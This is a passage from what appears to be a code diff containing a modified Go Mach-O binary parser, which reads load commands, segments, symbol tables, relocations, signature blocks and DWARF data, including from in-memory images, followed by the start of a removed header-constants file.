// Do not embed SectionReader directly
|
||||
// to avoid having Read and Seek.
|
||||
// If a client wants Read and Seek it must use
|
||||
// Open() to avoid fighting over the seek offset
|
||||
// with other clients.
|
||||
io.ReaderAt
|
||||
sr *io.SectionReader
|
||||
}
|
||||
|
||||
// Data reads and returns the contents of the Mach-O section.
|
||||
func (s *Section) Data() ([]byte, error) {
|
||||
dat := make([]byte, s.sr.Size())
|
||||
n, err := s.sr.ReadAt(dat, 0)
|
||||
if n == len(dat) {
|
||||
err = nil
|
||||
}
|
||||
return dat[0:n], err
|
||||
}
|
||||
|
||||
// Open returns a new ReadSeeker reading the Mach-O section.
|
||||
func (s *Section) Open() io.ReadSeeker { return io.NewSectionReader(s.sr, 0, 1<<63-1) }
|
||||
|
||||
// A Dylinker represents a Mach-O load dynamic library command.
|
||||
type Dylinker struct {
|
||||
LoadBytes
|
||||
Name string
|
||||
}
|
||||
|
||||
// A Dylib represents a Mach-O load dynamic library command.
|
||||
type Dylib struct {
|
||||
LoadBytes
|
||||
Name string
|
||||
Time uint32
|
||||
CurrentVersion uint32
|
||||
CompatVersion uint32
|
||||
}
|
||||
|
||||
// A Symtab represents a Mach-O symbol table command.
|
||||
type Symtab struct {
|
||||
LoadBytes
|
||||
SymtabCmd
|
||||
Syms []Symbol
|
||||
RawSymtab []byte
|
||||
RawStringtab []byte
|
||||
}
|
||||
|
||||
// A Dysymtab represents a Mach-O dynamic symbol table command.
|
||||
type Dysymtab struct {
|
||||
LoadBytes
|
||||
DysymtabCmd
|
||||
IndirectSyms []uint32 // indices into Symtab.Syms
|
||||
RawDysymtab []byte
|
||||
}
|
||||
|
||||
// A Rpath represents a Mach-O rpath command.
|
||||
type Rpath struct {
|
||||
LoadBytes
|
||||
Path string
|
||||
}
|
||||
|
||||
// A Symbol is a Mach-O 32-bit or 64-bit symbol table entry.
|
||||
type Symbol struct {
|
||||
Name string
|
||||
Type uint8
|
||||
Sect uint8
|
||||
Desc uint16
|
||||
Value uint64
|
||||
}
|
||||
|
||||
/*
|
||||
* Mach-O reader
|
||||
*/
|
||||
|
||||
// FormatError is returned by some operations if the data does
|
||||
// not have the correct format for an object file.
|
||||
type FormatError struct {
|
||||
off int64
|
||||
msg string
|
||||
val interface{}
|
||||
}
|
||||
|
||||
func (e *FormatError) Error() string {
|
||||
msg := e.msg
|
||||
if e.val != nil {
|
||||
msg += fmt.Sprintf(" '%v'", e.val)
|
||||
}
|
||||
msg += fmt.Sprintf(" in record at byte %#x", e.off)
|
||||
return msg
|
||||
}
|
||||
|
||||
// Open opens the named file using os.Open and prepares it for use as a Mach-O binary.
|
||||
func Open(name string) (*File, error) {
|
||||
f, err := os.Open(name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ff, err := NewFile(f)
|
||||
if err != nil {
|
||||
f.Close()
|
||||
return nil, err
|
||||
}
|
||||
ff.closer = f
|
||||
return ff, nil
|
||||
}
|
||||
|
||||
// Close closes the File.
|
||||
// If the File was created using NewFile directly instead of Open,
|
||||
// Close has no effect.
|
||||
func (f *File) Close() error {
|
||||
var err error
|
||||
if f.closer != nil {
|
||||
err = f.closer.Close()
|
||||
f.closer = nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
// NewFile creates a new macho.File for accessing a Mach-o binary file in an underlying reader.
|
||||
func NewFile(r io.ReaderAt) (*File, error) {
|
||||
return newFileInternal(r, false)
|
||||
}
|
||||
|
||||
// NewFileFromMemory creates a new macho.File for accessing a Mach-O binary in-memory image in an underlying reader.
|
||||
func NewFileFromMemory(r io.ReaderAt) (*File, error) {
|
||||
return newFileInternal(r, true)
|
||||
}
|
||||
|
||||
// NewFile creates a new File for accessing a PE binary in an underlying reader.
|
||||
func newFileInternal(r io.ReaderAt, memoryMode bool) (*File, error) {
|
||||
|
||||
f := new(File)
|
||||
sr := io.NewSectionReader(r, 0, 1<<63-1)
|
||||
|
||||
// Read and decode Mach magic to determine byte order, size.
|
||||
// Magic32 and Magic64 differ only in the bottom bit.
|
||||
var ident [4]byte
|
||||
if _, err := r.ReadAt(ident[0:], 0); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
be := binary.BigEndian.Uint32(ident[0:])
|
||||
le := binary.LittleEndian.Uint32(ident[0:])
|
||||
switch Magic32 &^ 1 {
|
||||
case be &^ 1:
|
||||
f.ByteOrder = binary.BigEndian
|
||||
f.Magic = be
|
||||
case le &^ 1:
|
||||
f.ByteOrder = binary.LittleEndian
|
||||
f.Magic = le
|
||||
default:
|
||||
return nil, &FormatError{0, "invalid magic number", nil}
|
||||
}
|
||||
|
||||
// Read entire file header.
|
||||
if err := binary.Read(sr, f.ByteOrder, &f.FileHeader); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Then load commands.
|
||||
offset := int64(fileHeaderSize32)
|
||||
if f.Magic == Magic64 {
|
||||
offset = fileHeaderSize64
|
||||
}
|
||||
dat := make([]byte, f.Cmdsz)
|
||||
if _, err := r.ReadAt(dat, offset); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f.Loads = make([]Load, f.Ncmd)
|
||||
bo := f.ByteOrder
|
||||
for i := range f.Loads {
|
||||
// Each load command begins with uint32 command and length.
|
||||
if len(dat) < 8 {
|
||||
return nil, &FormatError{offset, "command block too small", nil}
|
||||
}
|
||||
cmd, siz := LoadCmd(bo.Uint32(dat[0:4])), bo.Uint32(dat[4:8])
|
||||
if siz < 8 || siz > uint32(len(dat)) {
|
||||
return nil, &FormatError{offset, "invalid command block size", nil}
|
||||
}
|
||||
var cmddat []byte
|
||||
cmddat, dat = dat[0:siz], dat[siz:]
|
||||
offset += int64(siz)
|
||||
var s *Segment
|
||||
//fmt.Printf("LoadCmdVal: %+v\n", cmd)
|
||||
switch cmd {
|
||||
default:
|
||||
f.Loads[i] = LoadBytes(cmddat)
|
||||
|
||||
case LoadCmdRpath:
|
||||
var hdr RpathCmd
|
||||
b := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(b, bo, &hdr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
l := new(Rpath)
|
||||
if hdr.Path >= uint32(len(cmddat)) {
|
||||
return nil, &FormatError{offset, "invalid path in rpath command", hdr.Path}
|
||||
}
|
||||
l.Path = cstring(cmddat[hdr.Path:])
|
||||
l.LoadBytes = LoadBytes(cmddat)
|
||||
f.Loads[i] = l
|
||||
|
||||
case LoadCmdDylinker:
|
||||
var hdr DylinkerCmd
|
||||
b := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(b, bo, &hdr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
l := new(Dylinker)
|
||||
if hdr.Name >= uint32(len(cmddat)) {
|
||||
return nil, &FormatError{offset, "invalid name in dynamic library command", hdr.Name}
|
||||
}
|
||||
l.Name = cstring(cmddat[hdr.Name:])
|
||||
l.LoadBytes = LoadBytes(cmddat)
|
||||
f.Loads[i] = l
|
||||
|
||||
case LoadCmdDylib:
|
||||
var hdr DylibCmd
|
||||
b := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(b, bo, &hdr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
l := new(Dylib)
|
||||
if hdr.Name >= uint32(len(cmddat)) {
|
||||
return nil, &FormatError{offset, "invalid name in dynamic library command", hdr.Name}
|
||||
}
|
||||
l.Name = cstring(cmddat[hdr.Name:])
|
||||
l.Time = hdr.Time
|
||||
l.CurrentVersion = hdr.CurrentVersion
|
||||
l.CompatVersion = hdr.CompatVersion
|
||||
l.LoadBytes = LoadBytes(cmddat)
|
||||
f.Loads[i] = l
|
||||
|
||||
case LoadCmdSymtab:
|
||||
var hdr SymtabCmd
|
||||
b := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(b, bo, &hdr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
strtab := make([]byte, hdr.Strsize)
|
||||
|
||||
var linkeditAddr, textAddr, linkeditOffset int64
|
||||
if !memoryMode {
|
||||
if _, err := r.ReadAt(strtab, int64(hdr.Stroff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
// in memory, we have to translate the file offsets for strtab/symtab into offsets into LINKEDIT segment
|
||||
for _, load := range f.Loads {
|
||||
switch segment := load.(type) {
|
||||
case *Segment:
|
||||
if segment == nil {
|
||||
continue
|
||||
}
|
||||
if segment.Name == "__LINKEDIT" {
|
||||
linkeditAddr = int64(segment.Addr)
|
||||
linkeditOffset = int64(segment.Offset)
|
||||
} else if segment.Name == "__TEXT" {
|
||||
textAddr = int64(segment.Addr)
|
||||
}
|
||||
}
|
||||
}
|
||||
strtabAddr := (linkeditAddr - textAddr) + (int64(hdr.Stroff) - linkeditOffset)
|
||||
if _, err := r.ReadAt(strtab, strtabAddr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
var symsz int
|
||||
if f.Magic == Magic64 {
|
||||
symsz = 16
|
||||
} else {
|
||||
symsz = 12
|
||||
}
|
||||
symdat := make([]byte, int(hdr.Nsyms)*symsz)
|
||||
|
||||
if !memoryMode {
|
||||
if _, err := r.ReadAt(symdat, int64(hdr.Symoff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
if _, err := r.ReadAt(symdat, (linkeditAddr-textAddr)+(int64(hdr.Symoff)-linkeditOffset)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
st, err := f.parseSymtab(symdat, strtab, cmddat, &hdr, offset)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f.Loads[i] = st
|
||||
f.Symtab = st
|
||||
f.Symtab.Symoff = hdr.Symoff
|
||||
f.Symtab.Stroff = hdr.Stroff
|
||||
|
||||
case LoadCmdSignature:
|
||||
var sigCmd SigBlockCmd
|
||||
s := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(s, bo, &sigCmd); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
//fmt.Printf("SigData: %+v\n", sigCmd)
|
||||
sig := make([]byte, sigCmd.Sigsize)
|
||||
if _, err := r.ReadAt(sig, int64(sigCmd.Sigoff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var block SigBlock
|
||||
block.Offset = uint64(sigCmd.Sigoff)
|
||||
block.Len = sigCmd.Sigsize
|
||||
block.RawDat = sig
|
||||
f.SigBlock = &block
|
||||
f.Loads[i] = LoadBytes(cmddat)
|
||||
|
||||
case LoadCmdFuncStarts:
|
||||
var funcCmd FuncStartsCmd
|
||||
fsc := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(fsc, bo, &funcCmd); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
//fmt.Printf("FuncStartsData: %+v\n", funcCmd)
|
||||
fs := make([]byte, funcCmd.Datasize)
|
||||
if _, err := r.ReadAt(fs, int64(funcCmd.Dataoff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var funcs FuncStarts
|
||||
funcs.Offset = uint64(funcCmd.Dataoff)
|
||||
funcs.Len = funcCmd.Datasize
|
||||
funcs.RawDat = fs
|
||||
f.FuncStarts = &funcs
|
||||
f.Loads[i] = LoadBytes(cmddat)
|
||||
|
||||
case LoadCmdDataInCode:
|
||||
var dataCmd DataInCodeCmd
|
||||
dcc := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(dcc, bo, &dataCmd); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
//fmt.Printf("DataInCode: %+v\n", dataCmd)
|
||||
dc := make([]byte, dataCmd.Datasize)
|
||||
if _, err := r.ReadAt(dc, int64(dataCmd.Dataoff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var datacode DataInCode
|
||||
datacode.Offset = uint64(dataCmd.Dataoff)
|
||||
datacode.Len = dataCmd.Datasize
|
||||
datacode.RawDat = dc
|
||||
f.DataInCode = &datacode
|
||||
f.Loads[i] = LoadBytes(cmddat)
|
||||
|
||||
case LoadCmdDylinkInfo:
|
||||
var dylinkInfoCmd DylinkInfoCmd
|
||||
dic := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(dic, bo, &dylinkInfoCmd); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
//fmt.Printf("LoadCmdDylinkInfo: %+v\n", dylinkInfoCmd)
|
||||
// Copy each section next
|
||||
var dylinkInfo DylinkInfo
|
||||
// Rebase deets
|
||||
if dylinkInfoCmd.Rebasesize > 0 {
|
||||
if !memoryMode { // this data is in LINKEDIT already
|
||||
rebase := make([]byte, dylinkInfoCmd.Rebasesize)
|
||||
if _, err := r.ReadAt(rebase, int64(dylinkInfoCmd.Rebaseoff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dylinkInfo.RebaseDat = rebase
|
||||
}
|
||||
dylinkInfo.RebaseLen = dylinkInfoCmd.Rebasesize
|
||||
dylinkInfo.RebaseOffset = uint64(dylinkInfoCmd.Rebaseoff)
|
||||
}
|
||||
// BindingInfo deets
|
||||
if dylinkInfoCmd.Bindinginfosize > 0 {
|
||||
if !memoryMode { // this data is in LINKEDIT already
|
||||
binding := make([]byte, dylinkInfoCmd.Bindinginfosize)
|
||||
if _, err := r.ReadAt(binding, int64(dylinkInfoCmd.Bindinginfooff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dylinkInfo.BindingInfoDat = binding
|
||||
}
|
||||
dylinkInfo.BindingInfoLen = dylinkInfoCmd.Bindinginfosize
|
||||
dylinkInfo.BindingInfoOffset = uint64(dylinkInfoCmd.Bindinginfooff)
|
||||
}
|
||||
// Weak deets
|
||||
if dylinkInfoCmd.Weakbindingsize > 0 {
|
||||
if !memoryMode { // this data is in LINKEDIT already
|
||||
weak := make([]byte, dylinkInfoCmd.Weakbindingsize)
|
||||
if _, err := r.ReadAt(weak, int64(dylinkInfoCmd.Weakbindingoff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dylinkInfo.WeakBindingDat = weak
|
||||
}
|
||||
dylinkInfo.WeakBindingLen = dylinkInfoCmd.Weakbindingsize
|
||||
dylinkInfo.WeakBindingOffset = uint64(dylinkInfoCmd.Weakbindingoff)
|
||||
}
|
||||
// Lazy deets
|
||||
if dylinkInfoCmd.Lazybindingsize > 0 {
|
||||
if !memoryMode { // this data is in LINKEDIT already
|
||||
lazy := make([]byte, dylinkInfoCmd.Lazybindingsize)
|
||||
if _, err := r.ReadAt(lazy, int64(dylinkInfoCmd.Lazybindingoff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dylinkInfo.LazyBindingDat = lazy
|
||||
}
|
||||
dylinkInfo.LazyBindingLen = dylinkInfoCmd.Lazybindingsize
|
||||
dylinkInfo.LazyBindingOffset = uint64(dylinkInfoCmd.Lazybindingoff)
|
||||
}
|
||||
// ExportInfo deets
|
||||
if dylinkInfoCmd.Exportinfosize > 0 {
|
||||
if !memoryMode { // this data is in LINKEDIT already
|
||||
export := make([]byte, dylinkInfoCmd.Exportinfosize)
|
||||
if _, err := r.ReadAt(export, int64(dylinkInfoCmd.Exportinfooff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dylinkInfo.ExportInfoDat = export
|
||||
}
|
||||
dylinkInfo.ExportInfoLen = dylinkInfoCmd.Exportinfosize
|
||||
dylinkInfo.ExportInfoOffset = uint64(dylinkInfoCmd.Exportinfooff)
|
||||
}
|
||||
// Finalize the object
|
||||
f.DylinkInfo = &dylinkInfo
|
||||
f.Loads[i] = LoadBytes(cmddat)
|
||||
|
||||
case LoadCmdDysymtab:
|
||||
var hdr DysymtabCmd
|
||||
b := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(b, bo, &hdr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dat := make([]byte, hdr.Nindirectsyms*4)
|
||||
if _, err := r.ReadAt(dat, int64(hdr.Indirectsymoff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
x := make([]uint32, hdr.Nindirectsyms)
|
||||
if err := binary.Read(bytes.NewReader(dat), bo, x); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
st := new(Dysymtab)
|
||||
st.LoadBytes = LoadBytes(cmddat)
|
||||
st.DysymtabCmd = hdr
|
||||
st.IndirectSyms = x
|
||||
f.Loads[i] = st
|
||||
f.Dysymtab = st
|
||||
f.Dysymtab.Indirectsymoff = hdr.Indirectsymoff
|
||||
f.Dysymtab.RawDysymtab = dat
|
||||
|
||||
case LoadCmdSegment:
|
||||
var seg32 Segment32
|
||||
b := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(b, bo, &seg32); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
s = new(Segment)
|
||||
s.LoadBytes = cmddat
|
||||
s.Cmd = cmd
|
||||
s.Len = siz
|
||||
s.Name = cstring(seg32.Name[0:])
|
||||
s.Addr = uint64(seg32.Addr)
|
||||
s.Memsz = uint64(seg32.Memsz)
|
||||
s.Offset = uint64(seg32.Offset)
|
||||
s.Filesz = uint64(seg32.Filesz)
|
||||
s.Maxprot = seg32.Maxprot
|
||||
s.Prot = seg32.Prot
|
||||
s.Nsect = seg32.Nsect
|
||||
s.Flag = seg32.Flag
|
||||
if uint64((seg32.Offset + seg32.Filesz)) > FinalSegEnd {
|
||||
FinalSegEnd = uint64((seg32.Offset + seg32.Filesz))
|
||||
}
|
||||
f.Loads[i] = s
|
||||
for i := 0; i < int(s.Nsect); i++ {
|
||||
var sh32 Section32
|
||||
if err := binary.Read(b, bo, &sh32); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
sh := new(Section)
|
||||
sh.Name = cstring(sh32.Name[0:])
|
||||
sh.Seg = cstring(sh32.Seg[0:])
|
||||
sh.Addr = uint64(sh32.Addr)
|
||||
sh.Size = uint64(sh32.Size)
|
||||
sh.Offset = sh32.Offset
|
||||
sh.Align = sh32.Align
|
||||
sh.Reloff = sh32.Reloff
|
||||
sh.Nreloc = sh32.Nreloc
|
||||
sh.Flags = sh32.Flags
|
||||
if err := f.pushSection(sh, r); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
case LoadCmdSegment64:
|
||||
var seg64 Segment64
|
||||
b := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(b, bo, &seg64); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
s = new(Segment)
|
||||
s.LoadBytes = cmddat
|
||||
s.Cmd = cmd
|
||||
s.Len = siz
|
||||
s.Name = cstring(seg64.Name[0:])
|
||||
s.Addr = seg64.Addr
|
||||
s.Memsz = seg64.Memsz
|
||||
s.Offset = seg64.Offset
|
||||
s.Filesz = seg64.Filesz
|
||||
s.Maxprot = seg64.Maxprot
|
||||
s.Prot = seg64.Prot
|
||||
s.Nsect = seg64.Nsect
|
||||
s.Flag = seg64.Flag
|
||||
if uint64((seg64.Offset + seg64.Filesz)) > FinalSegEnd {
|
||||
FinalSegEnd = uint64((seg64.Offset + seg64.Filesz))
|
||||
}
|
||||
f.Loads[i] = s
|
||||
for i := 0; i < int(s.Nsect); i++ {
|
||||
var sh64 Section64
|
||||
if err := binary.Read(b, bo, &sh64); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
sh := new(Section)
|
||||
sh.Name = cstring(sh64.Name[0:])
|
||||
sh.Seg = cstring(sh64.Seg[0:])
|
||||
sh.Addr = sh64.Addr
|
||||
sh.Size = sh64.Size
|
||||
sh.Offset = sh64.Offset
|
||||
sh.Align = sh64.Align
|
||||
sh.Reloff = sh64.Reloff
|
||||
sh.Nreloc = sh64.Nreloc
|
||||
sh.Flags = sh64.Flags
|
||||
if err := f.pushSection(sh, r); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
//case LoadCmdUnixThread:
|
||||
// todo: do we have to support thread_command here for older binaries? or is the LC_MAIN handling backwards compatible?
|
||||
|
||||
case LoadCmdMain:
|
||||
var entryPoint EntryPointCmd
|
||||
b := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(b, bo, &entryPoint); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f.EntryPoint = entryPoint.EntryOff
|
||||
}
|
||||
if s != nil {
|
||||
if !memoryMode {
|
||||
s.sr = io.NewSectionReader(r, int64(s.Offset), int64(s.Filesz))
|
||||
} else {
|
||||
s.sr = io.NewSectionReader(r, int64(s.Addr), int64(s.Filesz))
|
||||
}
|
||||
s.ReaderAt = s.sr
|
||||
}
|
||||
}
|
||||
return f, nil
|
||||
}
|
||||
|
||||
func (f *File) parseSymtab(symdat, strtab, cmddat []byte, hdr *SymtabCmd, offset int64) (*Symtab, error) {
|
||||
bo := f.ByteOrder
|
||||
symtab := make([]Symbol, hdr.Nsyms)
|
||||
b := bytes.NewReader(symdat)
|
||||
for i := range symtab {
|
||||
var n Nlist64
|
||||
if f.Magic == Magic64 {
|
||||
if err := binary.Read(b, bo, &n); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
var n32 Nlist32
|
||||
if err := binary.Read(b, bo, &n32); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
n.Name = n32.Name
|
||||
n.Type = n32.Type
|
||||
n.Sect = n32.Sect
|
||||
n.Desc = n32.Desc
|
||||
n.Value = uint64(n32.Value)
|
||||
}
|
||||
sym := &symtab[i]
|
||||
if n.Name >= uint32(len(strtab)) {
|
||||
return nil, &FormatError{offset, "invalid name in symbol table", n.Name}
|
||||
}
|
||||
sym.Name = cstring(strtab[n.Name:])
|
||||
sym.Type = n.Type
|
||||
sym.Sect = n.Sect
|
||||
sym.Desc = n.Desc
|
||||
sym.Value = n.Value
|
||||
}
|
||||
st := new(Symtab)
|
||||
st.LoadBytes = LoadBytes(cmddat)
|
||||
st.Syms = symtab
|
||||
st.RawSymtab = symdat
|
||||
st.RawStringtab = strtab
|
||||
return st, nil
|
||||
}
|
||||
|
||||
type relocInfo struct {
|
||||
Addr uint32
|
||||
Symnum uint32
|
||||
}
|
||||
|
||||
func (f *File) pushSection(sh *Section, r io.ReaderAt) error {
|
||||
f.Sections = append(f.Sections, sh)
|
||||
sh.sr = io.NewSectionReader(r, int64(sh.Offset), int64(sh.Size))
|
||||
sh.ReaderAt = sh.sr
|
||||
|
||||
if sh.Nreloc > 0 {
|
||||
reldat := make([]byte, int(sh.Nreloc)*8)
|
||||
if _, err := r.ReadAt(reldat, int64(sh.Reloff)); err != nil {
|
||||
return err
|
||||
}
|
||||
b := bytes.NewReader(reldat)
|
||||
|
||||
bo := f.ByteOrder
|
||||
|
||||
sh.Relocs = make([]Reloc, sh.Nreloc)
|
||||
for i := range sh.Relocs {
|
||||
rel := &sh.Relocs[i]
|
||||
|
||||
var ri relocInfo
|
||||
if err := binary.Read(b, bo, &ri); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if ri.Addr&(1<<31) != 0 { // scattered
|
||||
rel.Addr = ri.Addr & (1<<24 - 1)
|
||||
rel.Type = uint8((ri.Addr >> 24) & (1<<4 - 1))
|
||||
rel.Len = uint8((ri.Addr >> 28) & (1<<2 - 1))
|
||||
rel.Pcrel = ri.Addr&(1<<30) != 0
|
||||
rel.Value = ri.Symnum
|
||||
rel.Scattered = true
|
||||
} else {
|
||||
switch bo {
|
||||
case binary.LittleEndian:
|
||||
rel.Addr = ri.Addr
|
||||
rel.Value = ri.Symnum & (1<<24 - 1)
|
||||
rel.Pcrel = ri.Symnum&(1<<24) != 0
|
||||
rel.Len = uint8((ri.Symnum >> 25) & (1<<2 - 1))
|
||||
rel.Extern = ri.Symnum&(1<<27) != 0
|
||||
rel.Type = uint8((ri.Symnum >> 28) & (1<<4 - 1))
|
||||
case binary.BigEndian:
|
||||
rel.Addr = ri.Addr
|
||||
rel.Value = ri.Symnum >> 8
|
||||
rel.Pcrel = ri.Symnum&(1<<7) != 0
|
||||
rel.Len = uint8((ri.Symnum >> 5) & (1<<2 - 1))
|
||||
rel.Extern = ri.Symnum&(1<<4) != 0
|
||||
rel.Type = uint8(ri.Symnum & (1<<4 - 1))
|
||||
default:
|
||||
panic("unreachable")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func cstring(b []byte) string {
|
||||
i := bytes.IndexByte(b, 0)
|
||||
if i == -1 {
|
||||
i = len(b)
|
||||
}
|
||||
return string(b[0:i])
|
||||
}
|
||||
|
||||
// Segment returns the first Segment with the given name, or nil if no such segment exists.
|
||||
func (f *File) Segment(name string) *Segment {
|
||||
for _, l := range f.Loads {
|
||||
if s, ok := l.(*Segment); ok && s.Name == name {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Section returns the first section with the given name, or nil if no such
|
||||
// section exists.
|
||||
func (f *File) Section(name string) *Section {
|
||||
for _, s := range f.Sections {
|
||||
if s.Name == name {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// DWARF returns the DWARF debug information for the Mach-O file.
|
||||
func (f *File) DWARF() (*dwarf.Data, error) {
|
||||
dwarfSuffix := func(s *Section) string {
|
||||
switch {
|
||||
case strings.HasPrefix(s.Name, "__debug_"):
|
||||
return s.Name[8:]
|
||||
case strings.HasPrefix(s.Name, "__zdebug_"):
|
||||
return s.Name[9:]
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
|
||||
}
|
||||
sectionData := func(s *Section) ([]byte, error) {
|
||||
b, err := s.Data()
|
||||
if err != nil && uint64(len(b)) < s.Size {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if len(b) >= 12 && string(b[:4]) == "ZLIB" {
|
||||
dlen := binary.BigEndian.Uint64(b[4:12])
|
||||
dbuf := make([]byte, dlen)
|
||||
r, err := zlib.NewReader(bytes.NewBuffer(b[12:]))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if _, err := io.ReadFull(r, dbuf); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := r.Close(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
b = dbuf
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// There are many other DWARF sections, but these
|
||||
// are the ones the debug/dwarf package uses.
|
||||
// Don't bother loading others.
|
||||
var dat = map[string][]byte{"abbrev": nil, "info": nil, "str": nil, "line": nil, "ranges": nil}
|
||||
for _, s := range f.Sections {
|
||||
suffix := dwarfSuffix(s)
|
||||
if suffix == "" {
|
||||
continue
|
||||
}
|
||||
if _, ok := dat[suffix]; !ok {
|
||||
continue
|
||||
}
|
||||
b, err := sectionData(s)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dat[suffix] = b
|
||||
}
|
||||
|
||||
d, err := dwarf.New(dat["abbrev"], nil, nil, dat["info"], dat["line"], nil, dat["ranges"], dat["str"])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Look for DWARF4 .debug_types sections.
|
||||
for i, s := range f.Sections {
|
||||
suffix := dwarfSuffix(s)
|
||||
if suffix != "types" {
|
||||
continue
|
||||
}
|
||||
|
||||
b, err := sectionData(s)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = d.AddTypes(fmt.Sprintf("types-%d", i), b)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
return d, nil
|
||||
}
|
||||
|
||||
// ImportedSymbols returns the names of all symbols
|
||||
// referred to by the binary f that are expected to be
|
||||
// satisfied by other libraries at dynamic load time.
|
||||
func (f *File) ImportedSymbols() ([]string, error) {
|
||||
if f.Dysymtab == nil || f.Symtab == nil {
|
||||
return nil, &FormatError{0, "missing symbol table", nil}
|
||||
}
|
||||
|
||||
st := f.Symtab
|
||||
dt := f.Dysymtab
|
||||
var all []string
|
||||
for _, s := range st.Syms[dt.Iundefsym : dt.Iundefsym+dt.Nundefsym] {
|
||||
all = append(all, s.Name)
|
||||
}
|
||||
return all, nil
|
||||
}
|
||||
|
||||
// ImportedLibraries returns the paths of all libraries
|
||||
// referred to by the binary f that are expected to be
|
||||
// linked with the binary at dynamic link time.
|
||||
func (f *File) ImportedLibraries() ([]string, error) {
|
||||
var all []string
|
||||
for _, l := range f.Loads {
|
||||
if lib, ok := l.(*Dylib); ok {
|
||||
all = append(all, lib.Name)
|
||||
}
|
||||
}
|
||||
return all, nil
|
||||
}
|
||||
-414
@@ -1,414 +0,0 @@
|
||||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Mach-O header data structures
|
||||
// http://developer.apple.com/mac/library/documentation/DeveloperTools/Conceptual/MachORuntime/Reference/reference.html
|
||||
|
||||
package macho
|
||||
|
||||
import "strconv"
|
||||
|
||||
// A FileHeader represents a Mach-O file header.
|
||||
type FileHeader struct {
|
||||
Magic uint32
|
||||
Cpu Cpu
|
||||
SubCpu uint32
|
||||
Type Type
|
||||
Ncmd uint32
|
||||
Cmdsz uint32
|
||||
Flags uint32
|
||||
}
|
||||
|
||||
const (
|
||||
fileHeaderSize32 = 7 * 4
|
||||
fileHeaderSize64 = 8 * 4
|
||||
)
|
||||
|
||||
const (
|
||||
Magic32 uint32 = 0xfeedface
|
||||
Magic64 uint32 = 0xfeedfacf
|
||||
MagicFat uint32 = 0xcafebabe
|
||||
)
|
||||
|
||||
// A Type is the Mach-O file type, e.g. an object file, executable, or dynamic library.
|
||||
type Type uint32
|
||||
|
||||
const (
|
||||
TypeObj Type = 1
|
||||
TypeExec Type = 2
|
||||
TypeDylib Type = 6
|
||||
TypeBundle Type = 8
|
||||
)
|
||||
|
||||
var typeStrings = []intName{
|
||||
{uint32(TypeObj), "Obj"},
|
||||
{uint32(TypeExec), "Exec"},
|
||||
{uint32(TypeDylib), "Dylib"},
|
||||
{uint32(TypeBundle), "Bundle"},
|
||||
}
